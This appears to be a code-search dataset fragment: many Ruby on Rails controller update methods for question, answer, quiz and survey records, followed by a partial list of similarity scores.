"def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to questions_url, notice: 'Answer edited.' }\n else\n format.json {\n render json: @answer.errors,\n status: :unprocessable_entity\n }\n end\n end\n end",
"def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(answer_params)\n format.html { redirect_to @answer, notice: 'Answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to @answer, notice: 'Answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @answer.update(answer_params)\n respond_with( [ :admin, @survey, @section, @question, @answer ] )\n end",
"def update\n @survey = Survey.find(params[:id])\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n\n respond_to do |format|\n if @survey.update_attributes(json)\n format.html { redirect_to @survey, notice: 'Survey was successfully updated.' }\n format.json { render json: @survey }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_correct_answer\n question_params = params.permit(:question_id, :question_type_id, :option_id)\n \n render json: Question.update_correct_option(question_params)\n end",
"def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to answers_path, notice: 'Answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @answer }\n else\n format.html { render :edit }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question_answer = Question::Answer.find(params[:id])\n\n respond_to do |format|\n if @question_answer.update_attributes(params[:question_answer])\n format.html { redirect_to @question_answer, notice: 'Answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to @answer, notice: 'Respuesta actualizada correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:question_id])\n @answer = @question.answers.new(answer_params)\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to question_answer_url(@question, @answer), notice: \"Answer was successfully updated.\" }\n format.json { render :show, status: :ok, location: @answer }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to @answer, notice: 'Answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @answer }\n else\n format.html { render :edit }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to @answer, notice: 'Answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @answer }\n else\n format.html { render :edit }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to @answer, notice: 'Answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @answer }\n else\n format.html { render :edit }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @answer = @question.answers.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to([@question,@answer], :notice => 'Answer was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @answer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:comment])\n format.html { redirect_to @answer }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @answer_respondent.update(answer_respondent_params)\n format.html { redirect_to @answer_respondent, notice: 'Answer respondent was successfully updated.' }\n format.json { render :show, status: :ok, location: @answer_respondent }\n else\n format.html { render :edit }\n format.json { render json: @answer_respondent.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @answers = args[:answers] if args.key?(:answers)\n end",
"def update!(**args)\n @answers = args[:answers] if args.key?(:answers)\n end",
"def update!(**args)\n @answers = args[:answers] if args.key?(:answers)\n end",
"def update!(**args)\n @answers = args[:answers] if args.key?(:answers)\n end",
"def update_rest\n @entry_answer = EntryAnswer.find(params[:id])\n\n respond_to do |format|\n if @entry_answer.update_attributes(params[:entry_answer])\n flash[:notice] = 'EntryAnswer was successfully updated.'\n format.html { redirect_to(@entry_answer) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_answer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n answer = Answer.find(params[:answer_id])\n if answer.update(content: params[:content])\n render json: {answer: answer, success: true} \n else\n render json: @answer.errors, success: false \n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to api_v1_question_path(@question), notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @answer = Answer.find_by_uuid(params[:id])\n @question = @answer.question\n\n respond_to do |format|\n begin\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to answer_path(@answer.uuid), notice: 'Your answer was successfully saved.' }\n format.json { render json: @answer, status: :created, location: answer_path(@answer.uuid) }\n else\n format.html { render action: \"edit\", location: edit_answer_path(@answer.uuid) }\n format.json { render json: @answer.errors, status: :unprocessable_entity, location: edit_answer_path(@answer.uuid) }\n end\n rescue ActiveRecord::ReadOnlyRecord\n format.html { redirect_to answer_path(@answer.uuid), notice: \"You cannot change the answer\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity, location: answer_path(@answer.uuid) }\n end\n end\n end",
"def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to @answer.question, notice: 'Respuesta actualizada satisfactoriamente' }\n format.json { render :show, status: :ok, location: @answer }\n else\n format.html { render :edit }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @answer.update(answer_params)\n respond_to_save_success(@answer, [@question, @answer])\n else\n respond_to_save_failure(:edit, @answer)\n end\n end",
"def update\n question = Question.find(params[:id_question])\n if question.update(params_question)\n render json: question, status: 200\n else\n render json: question.errors, status: 422\n end\n\n end",
"def update_answer\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to :planner, notice: 'Answer was successfully updated.' }\n format.json { respond_with_bip(@answer) }\n else\n format.html { render :edit }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to(@answer, :notice => 'Answer was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @answer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to(@answer, :notice => 'Answer was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @answer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to(@answer, :notice => 'Answer was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @answer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fake_answer.update(fake_answer_params)\n format.html { redirect_to @fake_answer, notice: 'Fake answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @fake_answer }\n else\n format.html { render :edit }\n format.json { render json: @fake_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @answer.post.update(embedded_post_params)\n format.js { head :no_content }\n format.json { render :show, status: :ok, location: @answer }\n else\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @asked_to_answer.update(asked_to_answer_params)\n format.html { redirect_to @asked_to_answer, notice: 'Asked to answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @asked_to_answer }\n else\n format.html { render :edit }\n format.json { render json: @asked_to_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_question.update(api_v1_question_params)\n format.html { redirect_to @api_v1_question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_question }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @submitted_answer = SubmittedAnswer.find(params[:id])\n\n respond_to do |format|\n if @submitted_answer.update_attributes(params[:submitted_answer])\n format.html { redirect_to @submitted_answer, notice: 'Submitted answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @submitted_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client_answer = ClientAnswer.find(params[:id])\n\n respond_to do |format|\n if @client_answer.update_attributes(params[:client_answer])\n format.html { redirect_to @client_answer, notice: 'Client answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # Using first or create allows users to update their answer (or create it obviously)\n answer = Answer.where(:question_id => params[:question_id], :user_id => current_user.id).first_or_create! do |answer|\n answer.user_id = current_user.id\n answer.survey_id = params[:survey_id]\n answer.group_id = current_user.group.id\n answer.question_id = params[:question_id]\n answer.answer = params[:answer]\n\n @created = true\n\n if answer.save\n q = IQuestion.find_by_id(params[:question_id])\n\n if q.present?\n qdes = q.description\n else\n qdes = \"Orphaned question\"\n end\n\n s = ISurvey.find_by_id(params[:survey_id])\n\n if s.present?\n sdes = s.title\n else\n sdes = \"Orphaned survey\"\n end\n #sendCable(\"#{current_user.name} <#{current_user.email}>\", \"[#{sdes}] #{qdes}:\", params[:answer])\n\n render json:{\"continue\" => true}\n else\n render json:{\"continue\" => false}\n end\n end\n if !@created && answer\n answer.answer = params[:answer]\n if answer.save\n #sendCable(\"#{current_user.name} <#{current_user.email}>\", \"Updated Answer: \", params[:answer])\n render json:{\"continue\" => true}\n else\n render json:{\"continue\" => false}\n end\n end\n end",
"def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n flash[:notice] = 'Answer was successfully updated.'\n format.html { redirect_to answer_url(@answer) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @answer.errors.to_xml }\n end\n end\n end",
"def update\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n flash[:notice] = 'Answer was successfully updated.'\n format.html { redirect_to(@answer) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @answer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_mod\n if params[:title] != nil && params[:content] != nil\n @question.title = params[:title]\n @question.content = params[:content]\n\n question_json = @question.to_h.to_json\n\n url = @httpIp+'/pet.com/api/question/updateQuestion'\n uri = URI(url)\n res = Net::HTTP.post(uri, question_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully updated\"\n redirect_to questions_path\n end\n end",
"def update\n def answer_given(question_id)\n return (params[:answer] and params[:answer][question_id.to_s] and\n params[:answer][question_id.to_s].length > 0)\n end\n \n @resp = Response.find(params[:id])\n\n @questionnaire.questions.each do |question|\n if question.kind_of? Questions::Field\n ans = Answer.find_answer(@resp, question)\n if answer_given(question.id)\n if ans.nil?\n ans = Answer.new :question_id => question.id, :response_id => @resp.id\n end\n ans.value = params[:answer][question.id.to_s]\n ans.save\n else\n # No answer provided\n if not ans.nil?\n ans.destroy\n end\n end\n end\n end\n\n respond_to do |format|\n if @resp.update_attributes(params[:response])\n format.html { redirect_to(response_url(@questionnaire, @resp)) }\n format.js { redirect_to(response_url(@questionnaire, @resp, :format => \"js\")) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.js { render :action => \"edit\" }\n format.xml { render :xml => @resp.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n @question.update_attributes(params[:question])\n render :json => @question.id if @question.save\n # respond_to do |format|\n # if @question.update_attributes(params[:question])\n # format.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n # format.xml { head :ok }\n # else\n # format.html { render :action => \"edit\" }\n # format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n # end\n # end\n end",
"def update\n @answer = Answer.find_by_key(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n format.html { redirect_to answer_path(@answer.key), notice: 'Answer was successfully updated.' }\n else\n format.html { render action: \"edit\" }\n end\n end\n end",
"def update\n @answer=AttemptAnswer.find_by_id(params[:id])\n \n @answer.update_attribute(:user_answer, params[:user_answer])\n if @answer.user_answer = params[:user_answer]\n render json: @answer, status: :no_content\n\n else\n head(:unprocessable_entity)\n\n end\n end",
"def update\n question = Question.find_by!(id: params[:id])\n if question\n question.name = params[:name]\n question.description = params[:description]\n question.user_id = params[:user_id]\n question.category_id = params[:category_id]\n question.zavrseno = params[:zavrseno]\n question.uposlenik_id = params[:uposlenik_id]\n question.save\n render json: question, status: 200 \n else\n render json: { errors: \"This link is invalid.\"}, status: 404\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.json { render :json => 'Question updated OK' }\n format.xml { head :ok }\n else\n format.json { render :json => @question.errors }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @multiple_choice_question = MultipleChoiceQuestion.find(params[:id])\n\n respond_to do |format|\n if @multiple_choice_question.update_attributes(params[:multiple_choice_question])\n format.html { redirect_to @multiple_choice_question, notice: 'Multiple choice question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @multiple_choice_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @v1_question.update(v1_question_params)\n render json: @v1_question, status: :ok\n else\n render json: get_errors, status: :unprocessable_entity\n end\n end",
"def update\n @problem_set = ProblemSet.find(params[:problem_set_id])\n @question = Question.where(:id => params[:id], :problem_set_id => params[:problem_set_id]).first\n @answers = Answer.where(:question_id => @question.id)\n\n ans = [:answer1, :answer2, :answer3, :answer4]\n respond_to do |format|\n if @question.update_attributes(params[:question])\n \n @answers.each_with_index do |a, i|\n a.answer = params[ans[i]][:answer]\n a.correct = params[ans[i]][:correct]\n a.save\n end\n\n if @answers.size < 4 and params[ans[@answers.size]][:answer] != \"\"\n for i in @answers.size..4\n if params[ans[i]][:answer] != \"\"\n a = Answer.new(params[ans[i-1]])\n a.question_id = @question.id\n a.save\n end\n end\n end\n format.html { redirect_to(edit_problem_set_question_path(@problem_set.id, @question.count), :notice => 'Question was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n if params[:question][:answer].present?\n @question.answered_by = current_user.id\n @question.answered_at = Time.zone.now if @question.answered_at.nil?\n end\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, :notice => 'Question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reply_answer.update(reply_answer_params)\n format.html { redirect_to @reply_answer, notice: 'Reply answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @reply_answer }\n else\n format.html { render :edit }\n format.json { render json: @reply_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @answer = Admin::Answer.find(params[:id])\n\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n flash[:notice] = 'Admin::Answer was successfully updated.'\n format.html { redirect_to(@answer) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @answer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\tquestion_param = question_params.merge(:words => in_words(question_params[\"answer\"].to_i))\n\trespond_to do |format|\n if @question.update(question_param)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\t\n end",
"def update\n respond_to do |format|\n if @submitted_answer.update(submitted_answer_params)\n format.html { redirect_to @submitted_answer, notice: 'Submitted answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @submitted_answer }\n else\n format.html { render :edit }\n format.json { render json: @submitted_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user_answer = UserAnswer.find(params[:id])\n\n respond_to do |format|\n if @user_answer.update_attributes(params[:user_answer])\n format.html { redirect_to @user_answer, notice: 'User answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @quiz_answer.update(quiz_answer_params)\n format.html { redirect_to @quiz_answer, notice: 'Quiz answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @quiz_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @my_question = MyQuestion.find(params[:id])\n\n respond_to do |format|\n if @my_question.update_attributes(params[:my_question])\n format.html { redirect_to @my_question, notice: 'My question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @my_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @textanswer = Textanswer.find(params[:id])\n\n respond_to do |format|\n if @textanswer.update_attributes(params[:textanswer])\n format.html { redirect_to @textanswer, notice: 'Textanswer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @textanswer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # Do not support updating an answer for now\n # Once you have answered there is no return\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @answer = Answer.find(params[:id])\n if @answer.user == current_user\n @answer.approved = false\n end\n respond_to do |format|\n if @answer.update_attributes(params[:answer])\n @answer.create_activity :update, owner: current_user\n flash.now[:notice] = 'Answer was successfully updated.'\n format.html\n format.json { head :no_content }\n format.js { render \"answers/create\", :layout => false }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n format.js { render \"answers/create\", :layout => false }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n @answer = Answer.find_by_uuid(params[:id])\n if !@answer.pending?\n redirect_to(answer_path(@answer.uuid), notice: 'You have already answered this question.') and return\n end\n\n @question = @answer.question\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end",
"def update\n answer = current_user.answers.create!(quiz: @quiz, correctness: (params[:answer].to_i > 0) )\n\n respond_to do |format|\n format.html { redirect_to topic_quiz_path(@quiz, @quiz.topic), notice: 'Your answer is saved.' }\n format.json { render :show, status: :ok, location: topic_quiz_path(@quiz, @quiz.topic) }\n end\n end",
"def update\n\n qp = question_params\n if qp[:question_type] == \"vignette\" or qp[:question_type] == \"nonchoice\"\n qp[:answer] = \"\"\n end\n\n respond_to do |format|\n if @question.update(qp)\n format.html { redirect_to paper_questions_path(question_params[:paper_id],question_params[:id]), notice: '題目已被成功編輯' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { redirect_to edit_paper_question_path, notice: '上傳檔案大小不可超過500KB' }\n format.json { render json: paper_questions_path.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to new_question_path, notice: 'questions was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #@question = Question.find(params[:id])\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: t('alert.question.update_success', default: 'Question was successfully updated.') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n respond_to do |format|\n if @actual_answer.update(actual_answer_params)\n format.html { redirect_to @actual_answer, notice: 'Actual answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @actual_answer }\n else\n format.html { render :edit }\n format.json { render json: @actual_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n if (@question.question_type.short_text? || @question.question_type.open_ended_text?)\n path = survey_path(params[:survey_id])\n else\n path = survey_question_path(params[:survey_id],@question.id)\n end\n format.html { redirect_to path, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @answer.update(answer_params)\n format.html { redirect_to model_customer_path(@model, @customer), notice: 'Model was successfully updated.' }\n format.json { render :show, status: :ok, location: @model }\n else\n format.html { render :edit }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_answer_comment.update(api_v1_answer_comment_params)\n format.html { redirect_to @api_v1_answer_comment, notice: 'Answer comment was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_answer_comment }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_answer_comment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @survey_choice = Survey::Choice.find(params[:id])\n\n respond_to do |format|\n if @survey_choice.update_attributes(params[:survey_choice])\n format.html { redirect_to @survey_choice, notice: 'Choice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey_choice.errors, status: :unprocessable_entity }\n5 end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n @question_link = QuizQuestion.find_by_id(@question.questionid)\n @question_link.update(:points => params[:points])\n @quiz = Quiz.find_by_id(@question_link.quizid)\n format.html { redirect_to admin_quiz_path(@quiz), notice: 'Quiz multiple choice question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student_answer = StudentAnswer.find(params[:id])\n\n respond_to do |format|\n if @student_answer.update_attributes(params[:student_answer])\n format.html { redirect_to @student_answer, notice: 'Student answer was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def answered\n @the_question = Question.find(params[:id])\n @the_question.answered = true\n @the_question.save\n render json: [{question: @the_question}]\n end",
"def update\n @test_question = TestQuestion.find(params[:id])\n\n respond_to do |format|\n if @test_question.update_attributes(params[:test_question])\n format.html { redirect_to @test_question, :notice => 'Test question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @test_question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to quiz_path(@question.subsection_id), notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n if @questionnaire.update_attributes(params[:questionnaire])\n format.html { redirect_to @questionnaire, notice: 'Questionnaire was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @questionnaire.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @answer.update(answer_params)\n render json: { answer: view_show(@answer, @user_logged_in) }, status: :ok\n else\n @errors = translateModelErrors @question\n add_prefix_to_field @errors, \"answer:\"\n render json: { errors: @errors }, status: :bad_request\n end\n rescue ActionController::ParameterMissing\n @errors = [Error.new('missing_field', 'answer')]\n render json: { errors: @errors }, status: :bad_request\n end",
"def update\n respond_to do |format|\n if @selected_answer.update(selected_answer_params)\n format.html { redirect_to @selected_answer, notice: 'Selected answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @selected_answer }\n else\n format.html { render :edit }\n format.json { render json: @selected_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_answer.update(tipo_answer_params)\n format.html { redirect_to @tipo_answer, notice: 'Tipo answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_answer }\n else\n format.html { render :edit }\n format.json { render json: @tipo_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @icebreaker_answer.update(icebreaker_answer_params)\n format.html { redirect_to @icebreaker_answer, notice: 'Icebreaker answer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @icebreaker_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @quizzes_answer.update(quizzes_answer_params)\n format.html { redirect_to quiz_assessments_path(@quizzes_answer.assessment.quiz) }\n format.json { render :show, status: :ok, location: @quizzes_answer }\n else\n format.html { render :edit }\n format.json { render json: @quizzes_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, :notice =>'Question was successfully updated.' }\n format.json { render :show, :status => :ok, :location => @question }\n else\n format.html { render :edit }\n format.json { render :json => @question.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.74345315",
"0.7360197",
"0.7190411",
"0.70442027",
"0.70442027",
"0.7028407",
"0.7019093",
"0.6977991",
"0.69718504",
"0.6914882",
"0.6914467",
"0.6898194",
"0.68933165",
"0.68796027",
"0.6867792",
"0.6852608",
"0.68504494",
"0.68504494",
"0.68504494",
"0.67942584",
"0.6787712",
